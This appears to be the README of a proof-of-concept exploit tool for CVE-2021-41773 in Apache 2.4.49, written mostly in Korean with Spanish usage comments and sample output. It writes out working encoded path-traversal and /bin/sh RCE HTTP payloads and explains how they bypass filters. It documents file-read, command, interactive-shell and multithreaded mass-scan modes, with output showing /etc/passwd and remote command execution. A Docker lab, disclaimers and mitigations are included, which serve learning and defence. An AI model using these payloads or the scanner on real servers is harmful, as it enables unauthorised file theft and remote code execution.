
CVE-2021-41773에 대한 개념 증명
통제된 자체 환경에서만 사용하십시오. 승인되지 않은 시스템에 사용하지 마십시오.
Apache HTTP Server 2.4.49에 존재하는 CVE-2021-41773 취약점을 입증하고 이해하기 위해 개발된 PoC입니다.
이 결함은 URL 인코딩된 문자를 올바르게 검증하지 못하는 ap_normalize_path() 함수에 있습니다. 이로 인해 공격자는 인코딩된 문자 시퀀스(../ 대신 %2e%2e%2f)를 통해 DocumentRoot 밖으로 벗어나 시스템의 임의 파일을 읽을 수 있었습니다.
mod_cgi 모듈이 활성화된 경우, 취약점은 **RCE(원격 코드 실행)**로 확대되어 Apache 프로세스의 권한으로 서버에서 직접 명령을 실행할 수 있었습니다.
서버가 취약하려면 다음 조건을 모두 충족해야 합니다:
| 조건 | 세부 사항 |
|---|---|
| Apache 버전 | 정확히 2.4.49 |
| 접근 지시문 | 구성에 Require all granted |
| CGI 모듈 | mod_cgi 활성화됨 (RCE 전용) |
Apache 2.4.49는 고전적인 ../는 필터링했지만 URL 인코딩된 버전은 필터링하지 않았습니다. 공격자는 필터가 감지하지 못하지만 운영 체제는 올바르게 해석하는 경로를 구성합니다:
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
%2e%2e%2f는 ../의 URL 인코딩입니다. Apache는 이를 통과시켰고, OS가 이를 해석했으며, 그 결과 웹 디렉터리 밖의 파일에 접근할 수 있었습니다.
mod_cgi가 활성화된 경우, 경로 순회를 사용해 파일 대신 /bin/sh를 가리킵니다. Apache는 이를 CGI 스크립트로 처리하여 실행합니다. 명령은 최소한의 셸 스크립트 형태로 POST 본문을 통해 전달됩니다:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
Content-Type: application/x-www-form-urlencoded
echo 'Content-Type: text/plain'; echo; id 2>&1
명령의 출력은 HTTP 응답으로 도착한다.
저장소에는 setup/에서 취약점을 재현할 수 있는 준비된 환경이 포함되어 있다:
cd setup
docker compose up -d
이것은 취약한 설정(Require all granted + mod_cgi 활성화)으로 포트 8080에서 Apache 2.4.49를 실행합니다. 랩 파일:
| 파일 | 설명 |
|---|---|
setup/docker-compose.yml | Apache 2.4.49가 포함된 컨테이너 |
setup/httpd.conf | 취약한 Apache 설정 |
사용된 설정 파일은 setup/에 있습니다.
왜 requests가 아니라 urllib3인가?
requests는 전송 전에 path의 문자를 자동으로 재인코딩합니다.
이는 서버가 %2e 대신 %252e를 수신하게 되어 페이로드를 깨뜨립니다.
urllib3는 path를 수정 없이 전송할 수 있게 해줍니다.
왜 %2e%2e/가 아니라 .%2e/인가?
Apache는 mod_rewrite 모듈에서 %2e%2e/를 필터링합니다.
.%2e/ 변형은 의미상 동일하지만 필터를 통과합니다,
path 정규화가 검증 이후에 발생하기 때문입니다.
mod_cgi 모듈이 활성화되어 있어야 합니다.
이것이 없으면 path traversal만 가능합니다.python PoC_2021-41773.py --target <URL> --mode <modo> [opciones]
python PoC_2021-41773.py --input-file <archivo> --mode check [--threads N] [--output resultados.json]
| 인수 | 필수 | 설명 |
|---|---|---|
--target | 예* | 서버 기본 URL (예: http://localhost:8080) |
--input-file / -iF | 예* | 대상 목록이 담긴 파일 (한 줄에 하나씩) |
--mode | 예 | 동작 모드 (아래 표 참조) |
--cmd | 아니오 | rce 모드에서 실행할 명령 (기본값: id) |
--file | 아니오 | traversal 모드에서 읽을 파일 (기본값: /etc/passwd) |
--threads / -t | 아니오 | 대량 스캔용 스레드 수 (기본값: 10, --input-file 사용 시에만) |
--output / -o | 아니오 | 결과를 JSON으로 내보내기 (--input-file 사용 시에만) |
* --target과 --input-file은 상호 배타적입니다 — 둘 중 하나만 사용합니다.
| 모드 | 설명 |
|---|---|
check | 대상이 취약한지, mod_cgi가 활성화되어 있는지 확인하며, 민감한 데이터는 추출하지 않음 |
traversal | 경로 순회(path traversal)를 통해 시스템의 임의 파일을 읽음 |
rce | mod_cgi를 통해 서버에서 단일 명령을 실행함 |
shell | RCE 명령을 연속으로 실행하기 위한 대화형 의사 셸(pseudo-shell) |
# Verificar si el servidor es vulnerable
python PoC_2021-41773.py --target http://localhost:8080 --mode check
# Leer /etc/passwd del servidor
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal
# Leer un archivo específico
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal --file /etc/hosts
# Ejecutar un comando
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd whoami
# Abrir un pseudo-shell interactivo
python PoC_2021-41773.py --target http://localhost:8080 --mode shell
# Escaneo masivo con exportación a JSON
python PoC_2021-41773.py -iF targets.txt --mode check -t 20 -o results.json
───────────────────────────────────────────────────────
CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
PoC con fines educativos y profesionales
───────────────────────────────────────────────────────
[*] Modo: Check de vulnerabilidad
[*] Objetivo: http://localhost:8080
[*] Probando traversal contra /etc/hostname...
[*] Header Server: Apache/2.4.49 (Unix)
[+] VULNERABLE — el servidor devolvió /etc/hostname
Hostname: e0d20311f3e6
[+] mod_cgi habilitado — RCE posible
[+] Modo: Path Traversal
[*] Objetivo: http://localhost:8080
[*] Archivo: /etc/passwd
[*] URL: http://localhost:8080/traversal/.%2e/.%2e/.%2e/.%2e/etc/passwd
[*] Enviando request...
[+] Servidor vulnerable — Status 200
──────────────────────────────────────────────────
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
──────────────────────────────────────────────────
[+] Modo: RCE via mod_cgi
[*] Objetivo: http://localhost:8080
[*] Comando: whoami
[*] Enviando request...
[+] RCE confirmado
──────────────────────────────────────────────────
daemon
──────────────────────────────────────────────────
[+] Modo: Shell interactivo via mod_cgi
[*] Objetivo: http://localhost:8080
[*] Verificando RCE...
[+] RCE confirmado — uid=1(daemon) gid=1(daemon) groups=1(daemon)
[*] Escribí 'exit' o 'quit' para salir.
apache> id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
apache> ls /
bin boot dev etc home lib lib64 ...
apache> exit
[*] Cerrando shell.
[*] Cargados 5 targets
[*] Threads: 5
[*] Iniciando escaneo...
[1/5] [+] http://10.0.0.1:8080 — VULNERABLE (RCE)
[2/5] [-] http://10.0.0.2:8080 — no vulnerable
[3/5] [!] http://10.0.0.3:9999 — error de conexión
[4/5] [+] http://10.0.0.4:8080 — VULNERABLE (solo traversal)
[5/5] [!] http://10.0.0.5:1234 — error de conexión
══════════════════════════════════════════════════
Resultados: 5 targets escaneados
Vulnerables: 2 (1 con RCE)
No vulnerables: 1
Errores: 2
Exportado a: results.json
══════════════════════════════════════════════════
JSON 파일에는 스캔 메타데이터와 각 대상별 target, status, server, hostname 및 rce가 포함된 결과 배열이 있습니다.
2.4.51 버전 이상으로 업데이트하세요.Require all denied를 기본값으로 설정하세요.mod_cgi를 비활성화하세요.⚠️ 이 저장소는 교육 목적으로만 사용됩니다.
명시적 승인 없이 시스템에 이 익스플로잇을 사용하는 것은 불법입니다.
통제된 로컬 환경에서만 테스트되었습니다.
공격적 보안 포트폴리오를 위해 교육 목적으로 개발된 PoC입니다.